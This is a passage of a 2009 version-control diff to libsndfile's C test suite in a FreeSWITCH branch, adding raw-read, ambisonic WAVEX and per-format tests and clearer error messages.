 			exit (1) ;
 			} ;
-		sum_abs += fabs (data [k]) ;
+		half_max_abs = LCT_MAX (half_max_abs, abs (0.5 * data [k])) ;
 		} ;
 
-	if (sum_abs <= 0.0)
+	if (half_max_abs <= 0.0)
 	{	printf ("\n\nLine %d: Signal is all zeros.\n", __LINE__) ;
-		printf ("sum_abs : % 10.6f\n", sum_abs) ;
+		printf ("half_max_abs : % 10.6f\n", half_max_abs) ;
 		exit (1) ;
 		} ;
 
@@ -1755,8 +1859,8 @@
 			smoothed_diff_float (smooth, datalen / 7) ;
 
 			for (k = 0 ; k < datalen / 7 ; k++)
-				if (error_function ((float) data [k], (float) smooth [k], margin))
-				{	printf ("Incorrect sample C (#%d (%ld) : %d => %d).\n", k, k + m * (datalen / 7), (int) smooth [k], (int) data [k]) ;
+				if (error_function (data [k], smooth [k], margin))
+				{	printf ("\nLine %d: Incorrect sample C (#%d (%ld) : %d => %d).\n", __LINE__, k, k + m * (datalen / 7), (int) smooth [k], (int) data [k]) ;
 					for (m = 0 ; m < 10 ; m++)
 						printf ("%d ", (int) data [k]) ;
 					printf ("\n") ;
@@ -1771,23 +1875,23 @@
 		{	printf ("Seek to start of file + %d failed (%d).\n", seekpos, k) ;
 			exit (1) ;
 			} ;
-		test_read_float_or_die (file, 0, data, 1, __LINE__) ;
+		test_read_float_or_die (file, 0, data, channels, __LINE__) ;
 
-		if (error_function ((float) data [0], (float) orig [seekpos * channels], margin))
-		{	printf ("sf_seek (SEEK_SET) followed by sf_read_float failed (%d, %d).\n", (int) orig [1], (int) data [0]) ;
+		if (error_function (data [0], orig [seekpos * channels], margin))
+		{	printf ("\nLine %d: sf_seek (SEEK_SET) followed by sf_read_float failed (%d, %d).\n", __LINE__, (int) orig [1], (int) data [0]) ;
 			exit (1) ;
 			} ;
 
 		if ((k = sf_seek (file, 0, SEEK_CUR)) != seekpos + 1)
-		{	printf ("sf_seek (SEEK_CUR) with 0 offset failed (%d should be %d)\n", k, seekpos + 1) ;
+		{	printf ("\n\nLine %d: sf_seek (SEEK_CUR) with 0 offset failed (%d should be %d)\n", __LINE__, k, seekpos + 1) ;
 			exit (1) ;
 			} ;
 
 		seekpos = sf_seek (file, 0, SEEK_CUR) + BUFFER_SIZE / 5 ;
 		k = sf_seek (file, BUFFER_SIZE / 5, SEEK_CUR) ;
 		test_read_float_or_die (file, 0, data, channels, __LINE__) ;
-		if (error_function ((float) data [0], (float) orig [seekpos * channels], margin) || k != seekpos)
-		{	printf ("sf_seek (forwards, SEEK_CUR) followed by sf_read_float failed (%d, %d) (%d, %d).\n", (int) data [0], (int) orig [seekpos * channels], k, seekpos + 1) ;
+		if (error_function (data [0], orig [seekpos * channels], margin) || k != seekpos)
+		{	printf ("\nLine %d: sf_seek (forwards, SEEK_CUR) followed by sf_read_float failed (%d, %d) (%d, %d).\n", __LINE__, (int) data [0], (int) orig [seekpos * channels], k, seekpos + 1) ;
 			exit (1) ;
 			} ;
 
@@ -1795,13 +1899,13 @@
 		/* Check seek backward from current position. */
 		k = sf_seek (file, -20, SEEK_CUR) ;
 		test_read_float_or_die (file, 0, data, channels, __LINE__) ;
-		if (error_function ((float) data [0], (float) orig [seekpos * channels], margin) || k != seekpos)
-		{	printf ("sf_seek (backwards, SEEK_CUR) followed by sf_read_float failed (%d, %d) (%d, %d).\n", (int) data [0], (int) orig [seekpos * channels], k, seekpos) ;
+		if (error_function (data [0], orig [seekpos * channels], margin) || k != seekpos)
+		{	printf ("\nLine %d: sf_seek (backwards, SEEK_CUR) followed by sf_read_float failed (%d, %d) (%d, %d).\n", __LINE__, (int) data [0], (int) orig [seekpos * channels], k, seekpos) ;
 			exit (1) ;
 			} ;
 
 		/* Check that read past end of file returns number of items. */
-		sf_seek (file, (int) sfinfo.frames, SEEK_SET) ;
+		sf_seek (file, sfinfo.frames, SEEK_SET) ;
 
 	 	if ((k = sf_read_float (file, data, datalen)) != 0)
 	 	{	printf ("\n\nLine %d: Return value from sf_read_float past end of file incorrect (%d).\n", __LINE__, k) ;
@@ -1810,14 +1914,14 @@
 
 		/* Check seek backward from end. */
 
-		if ((k = sf_seek (file, 5 - (int) sfinfo.frames, SEEK_END)) != 5)
-		{	printf ("sf_seek (SEEK_END) returned %d instead of %d.\n", k, 5) ;
+		if ((k = sf_seek (file, 5 - sfinfo.frames, SEEK_END)) != 5)
+		{	printf ("\n\nLine %d: sf_seek (SEEK_END) returned %d instead of %d.\n", __LINE__, k, 5) ;
 			exit (1) ;
 			} ;
 
 		test_read_float_or_die (file, 0, data, channels, __LINE__) ;
-		if (error_function ((float) data [0], (float) orig [5], margin))
-		{	printf ("sf_seek (SEEK_END) followed by sf_read_float failed (%d should be %d).\n", (int) data [0], (int) orig [5]) ;
+		if (error_function (data [0], orig [5 * channels], margin))
+		{	printf ("\nLine %d: sf_seek (SEEK_END) followed by sf_read_float failed (%f should be %f).\n", __LINE__, data [0], orig [5 * channels]) ;
 			exit (1) ;
 			} ;
 		} /* if (sfinfo.seekable) */
@@ -1834,11 +1938,16 @@
 	SF_INFO			sfinfo ;
 	int				k, m, seekpos ;
 	long			datalen ;
-	double			*orig, *data, *smooth, sum_abs ;
+	double			*orig, *data, *smooth, half_max_abs ;
 
 channels = 1 ;
 	print_test_name ("sdlcomp_test_double", filename) ;
 
+	if ((filetype & SF_FORMAT_SUBMASK) == SF_FORMAT_VORBIS)
+	{	puts ("Not working for this format.") ;
+		return ;
+		} ;
+
 	datalen = BUFFER_SIZE ;
 
 	orig = orig_buffer.d ;
@@ -1899,17 +2008,17 @@
 	smoothed_diff_double (data, datalen) ;
 	smoothed_diff_double (smooth, datalen) ;
 
-	sum_abs = fabs (data [0]) ;
-	for (k = 1 ; k < datalen ; k++)
+	half_max_abs = 0.0 ;
+	for (k = 0 ; k < datalen ; k++)
 	{	if (error_function (data [k], smooth [k], margin))
 		{	printf ("\n\nLine %d: Incorrect sample (#%d : %d should be %d).\n", __LINE__, k, (int) data [k], (int) smooth [k]) ;
 			oct_save_double (orig, smooth, datalen) ;
 			exit (1) ;
 			} ;
-		sum_abs += fabs (data [k]) ;
+		half_max_abs = LCT_MAX (half_max_abs, 0.5 * fabs (data [k])) ;
 		} ;
 
-	if (sum_abs < 1.0)
+	if (half_max_abs < 1.0)
 	{	printf ("\n\nLine %d: Signal is all zeros.\n", __LINE__) ;
 		exit (1) ;
 		} ;
@@ -1942,8 +2051,8 @@
 			smoothed_diff_double (smooth, datalen / 7) ;
 
 			for (k = 0 ; k < datalen / 7 ; k++)
-				if (error_function ((double) data [k], (double) smooth [k], margin))
-				{	printf ("Incorrect sample C (#%d (%ld) : %d => %d).\n", k, k + m * (datalen / 7), (int) smooth [k], (int) data [k]) ;
+				if (error_function (data [k], smooth [k], margin))
+				{	printf ("\nLine %d: Incorrect sample C (#%d (%ld) : %d => %d).\n", __LINE__, k, k + m * (datalen / 7), (int) smooth [k], (int) data [k]) ;
 					for (m = 0 ; m < 10 ; m++)
 						printf ("%d ", (int) data [k]) ;
 					printf ("\n") ;
@@ -1958,37 +2067,37 @@
 		{	printf ("Seek to start of file + %d failed (%d).\n", seekpos, k) ;
 			exit (1) ;
 			} ;
-		test_read_double_or_die (file, 0, data, 1, __LINE__) ;
+		test_read_double_or_die (file, 0, data, channels, __LINE__) ;
 
-		if (error_function ((double) data [0], (double) orig [seekpos * channels], margin))
-		{	printf ("sf_seek (SEEK_SET) followed by sf_read_double failed (%d, %d).\n", (int) orig [1], (int) data [0]) ;
+		if (error_function (data [0], orig [seekpos * channels], margin))
+		{	printf ("\nLine %d: sf_seek (SEEK_SET) followed by sf_read_double failed (%d, %d).\n", __LINE__, (int) orig [1], (int) data [0]) ;
 			exit (1) ;
 			} ;
 
 		if ((k = sf_seek (file, 0, SEEK_CUR)) != seekpos + 1)
-		{	printf ("sf_seek (SEEK_CUR) with 0 offset failed (%d should be %d)\n", k, seekpos + 1) ;
+		{	printf ("\n\nLine %d: sf_seek (SEEK_CUR) with 0 offset failed (%d should be %d)\n", __LINE__, k, seekpos + 1) ;
 			exit (1) ;
 			} ;
 
 		seekpos = sf_seek (file, 0, SEEK_CUR) + BUFFER_SIZE / 5 ;
 		k = sf_seek (file, BUFFER_SIZE / 5, SEEK_CUR) ;
-		test_read_double_or_die (file, 0, data, 1, __LINE__) ;
-		if (error_function ((double) data [0], (double) orig [seekpos * channels], margin) || k != seekpos)
-		{	printf ("sf_seek (forwards, SEEK_CUR) followed by sf_read_double failed (%d, %d) (%d, %d).\n", (int) data [0], (int) orig [seekpos * channels], k, seekpos + 1) ;
+		test_read_double_or_die (file, 0, data, channels, __LINE__) ;
+		if (error_function (data [0], orig [seekpos * channels], margin) || k != seekpos)
+		{	printf ("\nLine %d: sf_seek (forwards, SEEK_CUR) followed by sf_read_double failed (%d, %d) (%d, %d).\n", __LINE__, (int) data [0], (int) orig [seekpos * channels], k, seekpos + 1) ;
 			exit (1) ;
 			} ;
 
 		seekpos = sf_seek (file, 0, SEEK_CUR) - 20 ;
 		/* Check seek backward from current position. */
 		k = sf_seek (file, -20, SEEK_CUR) ;
-		test_read_double_or_die (file, 0, data, 1, __LINE__) ;
-		if (error_function ((double) data [0], (double) orig [seekpos * channels], margin) || k != seekpos)
-		{	printf ("sf_seek (backwards, SEEK_CUR) followed by sf_read_double failed (%d, %d) (%d, %d).\n", (int) data [0], (int) orig [seekpos * channels], k, seekpos) ;
+		test_read_double_or_die (file, 0, data, channels, __LINE__) ;
+		if (error_function (data [0], orig [seekpos * channels], margin) || k != seekpos)
+		{	printf ("\nLine %d: sf_seek (backwards, SEEK_CUR) followed by sf_read_double failed (%d, %d) (%d, %d).\n", __LINE__, (int) data [0], (int) orig [seekpos * channels], k, seekpos) ;
 			exit (1) ;
 			} ;
 
 		/* Check that read past end of file returns number of items. */
-		sf_seek (file, (int) sfinfo.frames, SEEK_SET) ;
+		sf_seek (file, sfinfo.frames, SEEK_SET) ;
 
 	 	if ((k = sf_read_double (file, data, datalen)) != 0)
 	 	{	printf ("\n\nLine %d: Return value from sf_read_double past end of file incorrect (%d).\n", __LINE__, k) ;
@@ -1997,14 +2106,14 @@
 
 		/* Check seek backward from end. */
 
-		if ((k = sf_seek (file, 5 - (int) sfinfo.frames, SEEK_END)) != 5)
-		{	printf ("sf_seek (SEEK_END) returned %d instead of %d.\n", k, 5) ;
+		if ((k = sf_seek (file, 5 - sfinfo.frames, SEEK_END)) != 5)
+		{	printf ("\n\nLine %d: sf_seek (SEEK_END) returned %d instead of %d.\n", __LINE__, k, 5) ;
 			exit (1) ;
 			} ;
 
-		test_read_double_or_die (file, 0, data, 1, __LINE__) ;
-		if (error_function ((double) data [0], (double) orig [5], margin))
-		{	printf ("sf_seek (SEEK_END) followed by sf_read_double failed (%d should be %d).\n", (int) data [0], (int) orig [5]) ;
+		test_read_double_or_die (file, 0, data, channels, __LINE__) ;
+		if (error_function (data [0], orig [5 * channels], margin))
+		{	printf ("\nLine %d: sf_seek (SEEK_END) followed by sf_read_double failed (%f should be %f).\n", __LINE__, data [0], orig [5 * channels]) ;
 			exit (1) ;
 			} ;
 		} /* if (sfinfo.seekable) */
@@ -2015,6 +2124,77 @@
 	printf ("ok\n") ;
 } /* sdlcomp_test_double */
 
+static void
+read_raw_test (const char *filename, int filetype, int channels)
+{	SNDFILE			*file ;
+	SF_INFO			sfinfo ;
+	sf_count_t		count ;
+	long			datalen ;
+	short			*orig, *data ;
+	int				k ;
+
+	print_test_name ("read_raw_test", filename) ;
+
+	datalen = ARRAY_LEN (orig_buffer.s) / 2 ;
+
+	orig = orig_buffer.s ;
+	data = data_buffer.s ;
+
+	gen_signal_double (orig_buffer.d, 32000.0, channels, datalen) ;
+	for (k = 0 ; k < datalen ; k++)
+		orig [k] = lrint (orig_buffer.d [k]) ;
+
+	sfinfo.samplerate	= SAMPLE_RATE ;
+	sfinfo.frames		= 123456789 ;	/* Ridiculous value. */
+	sfinfo.channels		= channels ;
+	sfinfo.format		= filetype ;
+
+	file = test_open_file_or_die (filename, SFM_WRITE, &sfinfo, SF_FALSE, __LINE__) ;
+	test_write_short_or_die (file, 0, orig, datalen, __LINE__) ;
+	sf_set_string (file, SF_STR_COMMENT, long_comment) ;
+	sf_close (file) ;
+
+	memset (data, 0, datalen * sizeof (double)) ;
+
+	if ((filetype & SF_FORMAT_TYPEMASK) != SF_FORMAT_RAW)
+		memset (&sfinfo, 0, sizeof (sfinfo)) ;
+
+	file = test_open_file_or_die (filename, SFM_READ, &sfinfo, SF_FALSE, __LINE__) ;
+
+	if (sfinfo.format != filetype)
+	{	printf ("Returned format incorrect (0x%08X => 0x%08X).\n", filetype, sfinfo.format) ;
+		exit (1) ;
+		} ;
+
+	if (sfinfo.frames < datalen / channels)
+	{	printf ("Too few.frames in file. (%ld should be a little more than %ld)\n", datalen, SF_COUNT_TO_LONG (sfinfo.frames)) ;
+		exit (1) ;
+		} ;
+
+	if (sfinfo.frames > (datalen + 400))
+	{	printf ("Too many.frames in file. (%ld should be a little more than %ld)\n", SF_COUNT_TO_LONG (sfinfo.frames), datalen) ;
+		exit (1) ;
+		} ;
+
+	if (sfinfo.channels != channels)
+	{	printf ("Incorrect number of channels in file.\n") ;
+		exit (1) ;
+		} ;
+
+	check_comment (file, filetype, __LINE__) ;
+
+	count = sf_read_raw (file, orig_buffer.c, datalen + 5 * channels) ;
+	if (count != sfinfo.channels * sfinfo.frames)
+	{	printf ("\nLine %d : sf_read_raw returned %ld should be %ld\n", __LINE__, SF_COUNT_TO_LONG (count), sfinfo.channels * SF_COUNT_TO_LONG (sfinfo.frames)) ;
+		exit (1) ;
+		} ;
+
+	sf_close (file) ;
+
+	unlink (filename) ;
+	printf ("ok\n") ;
+} /* read_raw_test */
+
 /*========================================================================================
 **	Auxiliary functions
 */
@@ -2080,7 +2260,7 @@
 		error = fabs (data - orig) / fabs (orig) ;
 
 	if (error > margin)
-	{	printf ("\n\n*******************\nError : %f\n", error) ;
+	{	printf ("\n\nerror_function (data = %f, orig = %f, margin = %f) -> %f\n", data, orig, margin, error) ;
 		return 1 ;
 		} ;
 	return 0 ;
@@ -2169,10 +2349,23 @@
 	return ;
 } /* check_comment */
 
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: 5eb86888-3311-48b8-920e-c2a0393b7ad2
-*/
+static int
+is_lossy (int filetype)
+{
+	switch (SF_FORMAT_SUBMASK & filetype)
+	{	case SF_FORMAT_PCM_U8 :
+		case SF_FORMAT_PCM_S8 :
+		case SF_FORMAT_PCM_16 :
+		case SF_FORMAT_PCM_24 :
+		case SF_FORMAT_PCM_32 :
+		case SF_FORMAT_FLOAT :
+		case SF_FORMAT_DOUBLE :
+			return 0 ;
+
+		default :
+			break ;
+		} ;
+
+	return 1 ;
+} /* is_lossy */
+

Modified: freeswitch/branches/seven/libs/libsndfile/tests/misc_test.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/tests/misc_test.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/tests/misc_test.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 2001-2005 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 2001-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software ; you can redistribute it and/or modify
 ** it under the terms of the GNU General Public License as published by
@@ -21,6 +21,7 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <string.h>
+#include <errno.h>
 
 #include <sys/stat.h>
 #include <math.h>
@@ -45,9 +46,10 @@
 #define	BUFFER_LEN		(1<<10)
 #define LOG_BUFFER_SIZE	1024
 
-static void	zero_data_test (const char *filename, int typemajor) ;
-static void	filesystem_full_test (int typemajor) ;
+static void	zero_data_test (const char *filename, int format) ;
+static void	filesystem_full_test (int format) ;
 static void	permission_test (const char *filename, int typemajor) ;
+static void	wavex_amb_test (const char *filename) ;
 
 int
 main (int argc, char *argv [])
@@ -66,117 +68,139 @@
 	do_all=!strcmp (argv [1], "all") ;
 
 	if (do_all || ! strcmp (argv [1], "wav"))
-	{	zero_data_test ("zerolen.wav", SF_FORMAT_WAV) ;
-		filesystem_full_test (SF_FORMAT_WAV) ;
+	{	zero_data_test ("zerolen.wav", SF_FORMAT_WAV | SF_FORMAT_PCM_16) ;
+		filesystem_full_test (SF_FORMAT_WAV | SF_FORMAT_PCM_16) ;
 		permission_test ("readonly.wav", SF_FORMAT_WAV) ;
+		wavex_amb_test ("ambisonic.wav") ;
 		test_count++ ;
 		} ;
 
 	if (do_all || ! strcmp (argv [1], "aiff"))
-	{	zero_data_test ("zerolen.aiff", SF_FORMAT_AIFF) ;
-		filesystem_full_test (SF_FORMAT_AIFF) ;
+	{	zero_data_test ("zerolen.aiff", SF_FORMAT_AIFF | SF_FORMAT_PCM_16) ;
+		filesystem_full_test (SF_FORMAT_AIFF | SF_FORMAT_PCM_16) ;
 		permission_test ("readonly.aiff", SF_FORMAT_AIFF) ;
 		test_count++ ;
 		} ;
 
 	if (do_all || ! strcmp (argv [1], "au"))
-	{	zero_data_test ("zerolen.au", SF_FORMAT_AU) ;
-		filesystem_full_test (SF_FORMAT_AU) ;
+	{	zero_data_test ("zerolen.au", SF_FORMAT_AU | SF_FORMAT_PCM_16) ;
+		filesystem_full_test (SF_FORMAT_AU | SF_FORMAT_PCM_16) ;
 		permission_test ("readonly.au", SF_FORMAT_AU) ;
 		test_count++ ;
 		} ;
 
 	if (do_all || ! strcmp (argv [1], "caf"))
-	{	zero_data_test ("zerolen.caf", SF_FORMAT_CAF) ;
-		filesystem_full_test (SF_FORMAT_CAF) ;
+	{	zero_data_test ("zerolen.caf", SF_FORMAT_CAF | SF_FORMAT_PCM_16) ;
+		filesystem_full_test (SF_FORMAT_CAF | SF_FORMAT_PCM_16) ;
 		permission_test ("readonly.caf", SF_FORMAT_CAF) ;
 		test_count++ ;
 		} ;
 
 	if (do_all || ! strcmp (argv [1], "svx"))
-	{	zero_data_test ("zerolen.svx", SF_FORMAT_SVX) ;
-		filesystem_full_test (SF_FORMAT_SVX) ;
+	{	zero_data_test ("zerolen.svx", SF_FORMAT_SVX | SF_FORMAT_PCM_16) ;
+		filesystem_full_test (SF_FORMAT_SVX | SF_FORMAT_PCM_16) ;
 		permission_test ("readonly.svx", SF_FORMAT_SVX) ;
 		test_count++ ;
 		} ;
 
 	if (do_all || ! strcmp (argv [1], "nist"))
-	{	zero_data_test ("zerolen.nist", SF_FORMAT_NIST) ;
-		filesystem_full_test (SF_FORMAT_NIST) ;
+	{	zero_data_test ("zerolen.nist", SF_FORMAT_NIST | SF_FORMAT_PCM_16) ;
+		filesystem_full_test (SF_FORMAT_NIST | SF_FORMAT_PCM_16) ;
 		permission_test ("readonly.nist", SF_FORMAT_NIST) ;
 		test_count++ ;
 		} ;
 
 	if (do_all || ! strcmp (argv [1], "paf"))
-	{	zero_data_test ("zerolen.paf", SF_FORMAT_PAF) ;
-		filesystem_full_test (SF_FORMAT_PAF) ;
+	{	zero_data_test ("zerolen.paf", SF_FORMAT_PAF | SF_FORMAT_PCM_16) ;
+		filesystem_full_test (SF_FORMAT_PAF | SF_FORMAT_PCM_16) ;
 		permission_test ("readonly.paf", SF_FORMAT_PAF) ;
 		test_count++ ;
 		} ;
 
 	if (do_all || ! strcmp (argv [1], "ircam"))
-	{	zero_data_test ("zerolen.ircam", SF_FORMAT_IRCAM) ;
-		filesystem_full_test (SF_FORMAT_IRCAM) ;
+	{	zero_data_test ("zerolen.ircam", SF_FORMAT_IRCAM | SF_FORMAT_PCM_16) ;
+		filesystem_full_test (SF_FORMAT_IRCAM | SF_FORMAT_PCM_16) ;
 		permission_test ("readonly.ircam", SF_FORMAT_IRCAM) ;
 		test_count++ ;
 		} ;
 
 	if (do_all || ! strcmp (argv [1], "voc"))
-	{	zero_data_test ("zerolen.voc", SF_FORMAT_VOC) ;
-		filesystem_full_test (SF_FORMAT_VOC) ;
+	{	zero_data_test ("zerolen.voc", SF_FORMAT_VOC | SF_FORMAT_PCM_16) ;
+		filesystem_full_test (SF_FORMAT_VOC | SF_FORMAT_PCM_16) ;
 		permission_test ("readonly.voc", SF_FORMAT_VOC) ;
 		test_count++ ;
 		} ;
 
 	if (do_all || ! strcmp (argv [1], "w64"))
-	{	zero_data_test ("zerolen.w64", SF_FORMAT_W64) ;
-		filesystem_full_test (SF_FORMAT_W64) ;
+	{	zero_data_test ("zerolen.w64", SF_FORMAT_W64 | SF_FORMAT_PCM_16) ;
+		filesystem_full_test (SF_FORMAT_W64 | SF_FORMAT_PCM_16) ;
 		permission_test ("readonly.w64", SF_FORMAT_W64) ;
 		test_count++ ;
 		} ;
 
+	if (do_all || ! strcmp (argv [1], "rf64"))
+	{	zero_data_test ("zerolen.rf64", SF_FORMAT_W64 | SF_FORMAT_PCM_16) ;
+		filesystem_full_test (SF_FORMAT_W64 | SF_FORMAT_PCM_16) ;
+		permission_test ("readonly.rf64", SF_FORMAT_W64) ;
+		test_count++ ;
+		} ;
+
 	if (do_all || ! strcmp (argv [1], "mat4"))
-	{	zero_data_test ("zerolen.mat4", SF_FORMAT_MAT4) ;
-		filesystem_full_test (SF_FORMAT_MAT4) ;
+	{	zero_data_test ("zerolen.mat4", SF_FORMAT_MAT4 | SF_FORMAT_PCM_16) ;
+		filesystem_full_test (SF_FORMAT_MAT4 | SF_FORMAT_PCM_16) ;
 		permission_test ("readonly.mat4", SF_FORMAT_MAT4) ;
 		test_count++ ;
 		} ;
 
 	if (do_all || ! strcmp (argv [1], "mat5"))
-	{	zero_data_test ("zerolen.mat5", SF_FORMAT_MAT5) ;
-		filesystem_full_test (SF_FORMAT_MAT5) ;
+	{	zero_data_test ("zerolen.mat5", SF_FORMAT_MAT5 | SF_FORMAT_PCM_16) ;
+		filesystem_full_test (SF_FORMAT_MAT5 | SF_FORMAT_PCM_16) ;
 		permission_test ("readonly.mat5", SF_FORMAT_MAT5) ;
 		test_count++ ;
 		} ;
 
 	if (do_all || ! strcmp (argv [1], "pvf"))
-	{	zero_data_test ("zerolen.pvf", SF_FORMAT_PVF) ;
-		filesystem_full_test (SF_FORMAT_PVF) ;
+	{	zero_data_test ("zerolen.pvf", SF_FORMAT_PVF | SF_FORMAT_PCM_16) ;
+		filesystem_full_test (SF_FORMAT_PVF | SF_FORMAT_PCM_16) ;
 		permission_test ("readonly.pvf", SF_FORMAT_PVF) ;
 		test_count++ ;
 		} ;
 
 	if (do_all || ! strcmp (argv [1], "htk"))
-	{	zero_data_test ("zerolen.htk", SF_FORMAT_HTK) ;
-		filesystem_full_test (SF_FORMAT_HTK) ;
+	{	zero_data_test ("zerolen.htk", SF_FORMAT_HTK | SF_FORMAT_PCM_16) ;
+		filesystem_full_test (SF_FORMAT_HTK | SF_FORMAT_PCM_16) ;
 		permission_test ("readonly.htk", SF_FORMAT_HTK) ;
 		test_count++ ;
 		} ;
 
 	if (do_all || ! strcmp (argv [1], "avr"))
-	{	zero_data_test ("zerolen.avr", SF_FORMAT_AVR) ;
-		filesystem_full_test (SF_FORMAT_AVR) ;
+	{	zero_data_test ("zerolen.avr", SF_FORMAT_AVR | SF_FORMAT_PCM_16) ;
+		filesystem_full_test (SF_FORMAT_AVR | SF_FORMAT_PCM_16) ;
 		permission_test ("readonly.avr", SF_FORMAT_AVR) ;
 		test_count++ ;
 		} ;
 
 	if (do_all || ! strcmp (argv [1], "sds"))
-	{	zero_data_test ("zerolen.sds", SF_FORMAT_SDS) ;
-		filesystem_full_test (SF_FORMAT_SDS) ;
+	{	zero_data_test ("zerolen.sds", SF_FORMAT_SDS | SF_FORMAT_PCM_16) ;
+		filesystem_full_test (SF_FORMAT_SDS | SF_FORMAT_PCM_16) ;
 		permission_test ("readonly.sds", SF_FORMAT_SDS) ;
 		test_count++ ;
 		} ;
 
+	if (do_all || ! strcmp (argv [1], "mpc2k"))
+	{	zero_data_test ("zerolen.mpc", SF_FORMAT_MPC2K | SF_FORMAT_PCM_16) ;
+		filesystem_full_test (SF_FORMAT_MPC2K | SF_FORMAT_PCM_16) ;
+		permission_test ("readonly.mpc", SF_FORMAT_MPC2K) ;
+		test_count++ ;
+		} ;
+
+	if (do_all || ! strcmp (argv [1], "ogg"))
+	{	zero_data_test ("zerolen.oga", SF_FORMAT_OGG | SF_FORMAT_VORBIS) ;
+		/*-filesystem_full_test (SF_FORMAT_OGG | SF_FORMAT_VORBIS) ;-*/
+		permission_test ("readonly.oga", SF_FORMAT_OGG) ;
+		test_count++ ;
+		} ;
+
 	if (test_count == 0)
 	{	printf ("Mono : ************************************\n") ;
 		printf ("Mono : *  No '%s' test defined.\n", argv [1]) ;
@@ -193,15 +217,24 @@
 */
 
 static void
-zero_data_test (const char *filename, int typemajor)
+zero_data_test (const char *filename, int format)
 {	SNDFILE		*file ;
 	SF_INFO		sfinfo ;
 	int			frames ;
 
+	switch (format & SF_FORMAT_TYPEMASK)
+	{	case SF_FORMAT_OGG :
+			if (HAVE_EXTERNAL_LIBS == 0)
+				return ;
+			break ;
+		default :
+			break ;
+		} ;
+
 	print_test_name ("zero_data_test", filename) ;
 
 	sfinfo.samplerate = 44100 ;
-	sfinfo.format = (typemajor | SF_FORMAT_PCM_16) ;
+	sfinfo.format = format ;
 	sfinfo.channels = 1 ;
 	sfinfo.frames = 0 ;
 
@@ -222,7 +255,7 @@
 } /* zero_data_test */
 
 static void
-filesystem_full_test (int typemajor)
+filesystem_full_test (int format)
 {	SNDFILE		*file ;
 	SF_INFO		sfinfo ;
 	struct stat buf ;
@@ -235,6 +268,9 @@
 	return ;
 #endif
 
+	/* Make sure errno is zero before doing anything else. */
+	errno = 0 ;
+
 	print_test_name ("filesystem_full_test", filename) ;
 
 	if (stat (filename, &buf) != 0)
@@ -248,7 +284,7 @@
 		} ;
 
 	sfinfo.samplerate = 44100 ;
-	sfinfo.format = (typemajor | SF_FORMAT_PCM_16) ;
+	sfinfo.format = format ;
 	sfinfo.channels = 1 ;
 	sfinfo.frames = 0 ;
 
@@ -287,6 +323,9 @@
 	const char	*errorstr ;
 	int			frames ;
 
+	/* Make sure errno is zero before doing anything else. */
+	errno = 0 ;
+
 	if (getuid () == 0)
 	{	/* If running as root bypass this test.
 		** Root is allowed to open a readonly file for write.
@@ -296,6 +335,11 @@
 
 	print_test_name ("permission_test", filename) ;
 
+	if (access (filename, F_OK) == 0)
+	{	chmod (filename, S_IWUSR) ;
+		unlink (filename) ;
+		} ;
+
 	if ((textfile = fopen (filename, "w")) == NULL)
 	{	printf ("\n\nLine %d : not able to open text file for write.\n", __LINE__) ;
 		exit (1) ;
@@ -344,10 +388,37 @@
 #endif
 } /* permission_test */
 
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch
-** revision control system.
-**
-** arch-tag: efc6c227-8881-4a1d-8680-0d1255975267
-*/
+static void
+wavex_amb_test (const char *filename)
+{	static short buffer [800] ;
+	SNDFILE	*file ;
+	SF_INFO	sfinfo ;
+	sf_count_t	frames ;
+
+	print_test_name (__func__, filename) ;
+
+	sfinfo.samplerate = 44100 ;
+	sfinfo.format = SF_FORMAT_WAVEX | SF_FORMAT_PCM_16 ;
+	sfinfo.channels = 4 ;
+
+	frames = ARRAY_LEN (buffer) / sfinfo.channels ;
+
+	file = test_open_file_or_die (filename, SFM_WRITE, &sfinfo, SF_TRUE, __LINE__) ;
+	sf_command (file, SFC_WAVEX_SET_AMBISONIC, NULL, SF_AMBISONIC_B_FORMAT) ;
+	test_writef_short_or_die (file, 0, buffer, frames, __LINE__) ;
+	sf_close (file) ;
+
+	memset (&sfinfo, 0, sizeof (sfinfo)) ;
+
+	file = test_open_file_or_die (filename, SFM_READ, &sfinfo, SF_TRUE, __LINE__) ;
+
+	exit_if_true (
+		sf_command (file, SFC_WAVEX_GET_AMBISONIC, NULL, 0) != SF_AMBISONIC_B_FORMAT,
+		"\n\nLine %d : Error, this file should be in Ambisonic B format.\n", __LINE__
+		) ;
+
+	sf_close (file) ;
+
+	unlink (filename) ;
+	puts ("ok") ;
+} /* wavex_amb_test */

Modified: freeswitch/branches/seven/libs/libsndfile/tests/multi_file_test.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/tests/multi_file_test.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/tests/multi_file_test.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 1999-2004 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 1999-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU General Public License as published by
@@ -41,7 +41,6 @@
 
 #define	DATA_LENGTH 		(512)
 
-static off_t get_file_length (int fd) ;
 static void write_file_at_end (int fd, int filetype, int channels, int file_num) ;
 
 static void multi_file_test (const char *filename, int *formats, int format_count) ;
@@ -131,31 +130,32 @@
 {	SNDFILE				*sndfile ;
 	SF_INFO				sfinfo ;
 	SF_EMBED_FILE_INFO	embed_info ;
-	off_t				file_length ;
-	int					fd, k, file_count = 0 ;
+	sf_count_t			filelen ;
+	int					fd, k, file_count = 0, open_perm ;
 
 	print_test_name ("multi_file_test", filename) ;
 
 	unlink (filename) ;
 
-	if ((fd = open (filename, O_RDWR | O_CREAT, S_IRUSR | S_IWUSR | S_IRGRP )) < 0)
+	open_perm = OS_IS_WIN32 ? 0 : S_IRUSR | S_IWUSR | S_IRGRP ;
+
+	if ((fd = open (filename, O_RDWR | O_CREAT, open_perm)) < 0)
